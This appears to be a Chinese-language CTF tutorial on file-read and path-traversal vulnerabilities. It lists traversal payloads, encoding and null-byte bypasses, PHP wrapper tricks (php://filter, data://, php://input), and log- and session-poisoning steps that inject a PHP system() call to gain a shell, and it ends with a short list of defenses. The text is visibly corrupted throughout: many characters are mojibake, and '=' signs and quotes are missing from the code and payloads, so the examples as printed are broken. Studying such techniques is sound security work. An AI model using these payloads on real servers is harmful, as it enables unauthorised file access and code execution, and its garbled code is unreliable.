
一、漏洞原理文件讀取漏洞又稱任意文件讀取、目錄遍歷、路徑穿越是指 Web 應(yīng)用在讀取文件時(shí)未對(duì)用戶輸入的文件路徑做充分過濾導(dǎo)致攻擊者可以通過構(gòu)造特殊路徑如../讀取服務(wù)器上的任意文件。核心成因應(yīng)用將用戶可控的參數(shù)直接拼接到文件讀取函數(shù)中沒有過濾路徑穿越字符或過濾不充分。典型脆弱代碼示例$file $_GET[file]; include(/var/www/html/ . $file);訪問?file../../../../etc/passwd即可讀取系統(tǒng)密碼文件。CTF 中的常見目標(biāo)讀取配置文件獲取數(shù)據(jù)庫密碼、密鑰等讀取/flag文件讀取網(wǎng)站源碼進(jìn)行代碼審計(jì)發(fā)現(xiàn)其他漏洞讀取系統(tǒng)敏感文件/etc/passwd、/etc/shadow讀取日志文件配合日志注入 getshell二、常見文件讀取函數(shù)與場(chǎng)景2.1 PHP 中常見的危險(xiǎn)函數(shù)函數(shù)說明include()/require()包含并執(zhí)行文件可 getshellinclude_once()/require_once()同上但只包含一次file_get_contents()讀取文件內(nèi)容并返回字符串file()讀取文件內(nèi)容返回?cái)?shù)組fopen()/fread()打開并讀取文件readfile()讀取文件并直接輸出highlight_file()/show_source()高亮顯示源碼parse_ini_file()讀取配置文件2.2 Python 中常見的危險(xiǎn)函數(shù)# 不當(dāng)使用 open() 或文件讀取 path request.args.get(file) with open(/var/www/html/ path, r) as f: return f.read()2.3 Java 中的危險(xiǎn)場(chǎng)景String filename request.getParameter(file); File file new File(/var/www/html/ filename); // 直接讀取文件流2.4 常見的漏洞點(diǎn)網(wǎng)站模板切換?templateindex語言文件加載?langzh文件下載功能?downloadreport.pdf日志查看功能?logaccess.log靜態(tài)資源代理?url/static/js/app.js三、路徑穿越Path Traversal基礎(chǔ)3.1 基礎(chǔ)知識(shí)../表示上一級(jí)目錄在 Linux 中/etc/passwd是絕對(duì)路徑Windows 使用\或../如..\..\windows\win.ini3.2 基本測(cè)試 Payload?file../../../../etc/passwd ?file/etc/passwd ?fileC:\Windows\win.ini3.3 判斷路徑深度不知道當(dāng)前目錄在服務(wù)器中的層級(jí)時(shí)可以逐級(jí)增加../直到成功讀取目標(biāo)文件?file../etc/passwd ?file../../etc/passwd ?file../../../etc/passwd ...通常加 5-8 層../即可到達(dá)根目錄。四、常見過濾與繞過技巧CTF 重點(diǎn)4.1 過濾../1使用絕對(duì)路徑如果只過濾了../但沒限制絕對(duì)路徑可以直接用?file/etc/passwd2多層嵌套繞過某些過濾只替換一次....// → 過濾掉 ../ 后變成 ../ ..././ → 過濾掉 ../ 后變成 ../3編碼繞過URL 編碼%2e%2e%2f代表../雙重 URL 編碼%252e%252e%252f服務(wù)器解碼一次后變成%2e%2e%2f再解碼變成../Unicode 編碼..%c0%af、..%ef%bc%8f全角斜線4反斜杠替代某些系統(tǒng)尤其是 Windows..\..\windows\win.ini4.2 過濾了關(guān)鍵字如flag、etc、passwd等1通配符繞過如果系統(tǒng)支持?file/etc/pass* ?file/etc/pas?wd2路徑拼接利用路徑中的.和空字符?file/etc/./passwd ?file/etc//passwd3截?cái)嗬@過舊版 PHPmagic_quotes_gpcOff使用%00截?cái)嗪竺娴臄U(kuò)展名?file../../etc/passwd%00.jpg服務(wù)器拼接后為include(/var/www/html/../../etc/passwd\0.jpg)但 C 語言字符串遇到\0即終止所以實(shí)際包含/etc/passwd。4.3 強(qiáng)制添加了后綴如.php、.html應(yīng)用自動(dòng)給用戶輸入加上擴(kuò)展名如include($_GET[file] . .php);繞過方法%00 截?cái)嗯f版 PHP?file../etc/passwd%00路徑長(zhǎng)度截?cái)嗯f版 PHP 5.2.x利用 PHP 對(duì)路徑長(zhǎng)度限制傳入超長(zhǎng)路徑截?cái)嗪缶Y。利用偽協(xié)議PHP?filephp://filter/convert.base64-encode/resource/flag可包含任意文件而不受后綴限制。利用 zip/phar 協(xié)議?filephar://uploads/shell.jpg/shell需要先上傳包含 PHP 代碼的 zip/phar 文件并繞過前面提到的大小寫/后綴問題。包含日志文件或 session 文件如果知道 session 保存路徑如/tmp/sess_xxx且內(nèi)容可控如 User-Agent 可注入 PHP 代碼則可以通過文件包含實(shí)現(xiàn) getshell。4.4 過濾了斜杠/使用 URL 編碼%2f使用 Unicode 編碼%c0%af4.5 PHP 偽協(xié)議繞過如果只是文件讀取file_get_contents可以利用 PHP 偽協(xié)議讀取源碼或文件1讀取源碼并 Base64 返回防止代碼被執(zhí)行?filephp://filter/convert.base64-encode/resourceindex.php解碼即可得到源碼。2直接讀取文件內(nèi)容?filephp://filter/resource/flag3利用 data 協(xié)議執(zhí)行代碼如果allow_url_includeOn?filedata://text/plain,?php system(cat /flag);?或者 base64 編碼?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg4利用 input 協(xié)議如果allow_url_includeOn通過 POST 發(fā)送 PHP 代碼?filephp://input POST: ?php system(cat /flag);?4.6 包含日志文件 getshell當(dāng)無法直接讀取 flag但存在文件包含漏洞且allow_url_includeOff時(shí)可以配合其他可控內(nèi)容的文件來 getshell。常見可控文件位置Apache 訪問日志/var/log/apache2/access.log、/var/log/httpd/access_logNginx 訪問日志/var/log/nginx/access.logSSH 登錄日志/var/log/auth.log需注意權(quán)限郵件日志/var/log/mail.logSession 文件/tmp/sess_PHPSESSIDPHP 默認(rèn) session 存儲(chǔ)路徑上傳的臨時(shí)文件利用步驟在請(qǐng)求的 User-Agent 或其它可控頭中寫入?php system(cat /flag);?訪問日志中會(huì)記錄該 User-Agent通過文件包含漏洞包含日志文件?file/var/log/apache2/access.log日志中的 PHP 代碼被執(zhí)行拿到 flag五、不同場(chǎng)景下的利用手法5.1 PHPinclude()系列 → 直接 get shellphp://inputPOST 提交 PHP 代碼data://直接寫入代碼日志包含如上所述session 文件包含先注冊(cè) session在 session 文件中寫入代碼再包含臨時(shí)文件包含利用條件競(jìng)爭(zhēng)PHP 上傳文件會(huì)先存為臨時(shí)文件/tmp/phpXXXXXX可利用php://filter和條件競(jìng)爭(zhēng)在臨時(shí)文件被刪除前包含它5.2 PHPfile_get_contents()→ 文件讀取主要用于讀取文件內(nèi)容不能執(zhí)行 PHP 代碼??梢允褂胮hp://filter讀取源碼。5.3 Python 文件讀取通常不存在類似 PHP 的偽協(xié)議主要是路徑穿越。注意使用../逐級(jí)穿越Unicode 編碼繞過/proc/self/environ讀取環(huán)境變量/proc/self/cwd/flag讀取當(dāng)前工作目錄下的 flag5.4 Java 文件讀取Java 文件讀取通常使用FileInputStream或 Spring 的Resource。繞過方法../穿越file:///etc/passwd協(xié)議Spring Boot 中可能存在/actuator泄露讀取WEB-INF/web.xml、application.properties獲取配置信息六、CTF 實(shí)戰(zhàn)示例文件讀取到 Flag題目描述一個(gè)網(wǎng)站提供“查看新聞”功能URL 為?pagenews1頁面顯示對(duì)應(yīng)新聞內(nèi)容。存在任意文件讀取。步驟初步測(cè)試嘗試?pagenews2確認(rèn)參數(shù)可控。嘗試?page../../../../etc/passwd頁面返回系統(tǒng)用戶信息確認(rèn)存在路徑穿越。判斷是否 PHP嘗試讀取當(dāng)前文件源碼?pagephp://filter/convert.base64-encode/resourceindex若返回 base64 編碼的index.php源碼說明支持 PHP 偽協(xié)議且當(dāng)前語言為 PHP。嘗試直接讀 Flag?page../../../../flag若成功返回 flag 內(nèi)容題目結(jié)束。如果 flag 路徑未知讀取/proc/self/environ查看環(huán)境變量可能找到 flag 路徑讀取/etc/nginx/sites-enabled/default或 Apache 配置尋找網(wǎng)站根目錄讀取當(dāng)前文件源碼審計(jì)是否有隱藏邏輯或 flag 路徑如果讀取的是包含.php后綴的文件include($_GET[page] . .php)使用php://filter/convert.base64-encode/resource/flag繞過不需要后綴。或舊版 PHP 使用%00截?cái)?page../../../../flag%00。如果無法直接讀取 flag如文件權(quán)限限制考慮日志包含。在 User-Agent 中寫入?php system(cat /flag);?訪問任意頁面觸發(fā)記錄。再通過?page../../../../var/log/apache2/access.log包含日志文件執(zhí)行代碼獲取 flag。拿到 Flag使用php://filter讀取/flag的 base64 內(nèi)容解碼得到flag{path_traversal_master}。七、常見防御措施白名單限制僅允許讀取預(yù)定義的文件如用 switch 匹配文件名不接受路徑參數(shù)。過濾穿越字符過濾../、..\但要考慮多種繞過方式。限制文件讀取根目錄如將用戶輸入拼接到固定路徑后但單純拼接不可靠仍可穿越。禁用偽協(xié)議allow_url_includeOffallow_url_fopenOff禁止php://input、data://等。使用open_basedir限制 PHP 可訪問的目錄范圍。最小權(quán)限運(yùn)行Web 服務(wù)以低權(quán)限用戶運(yùn)行限制可讀取的文件范圍。禁用危險(xiǎn)函數(shù)disable_functions禁用system、exec等即使 getshell 也無法執(zhí)行系統(tǒng)命令。做好日志權(quán)限隔離避免 Web 用戶可讀取系統(tǒng)日志。八、總結(jié)文件讀取漏洞的核心是路徑拼接未過濾導(dǎo)致攻擊者可以穿越目錄讀取任意文件。CTF 中考察的重點(diǎn)是繞過過濾編碼、截?cái)?、偽協(xié)議和組合利用日志包含 getshell。PHP 偽協(xié)議php://filter、php://input、data://是 PHP 環(huán)境下的殺手锏。日志包含和 session 包含是“間接 getshell”的經(jīng)典手法必掌握。防御不能只靠黑名單過濾必須結(jié)合白名單、目錄限制、權(quán)限控制等多層措施。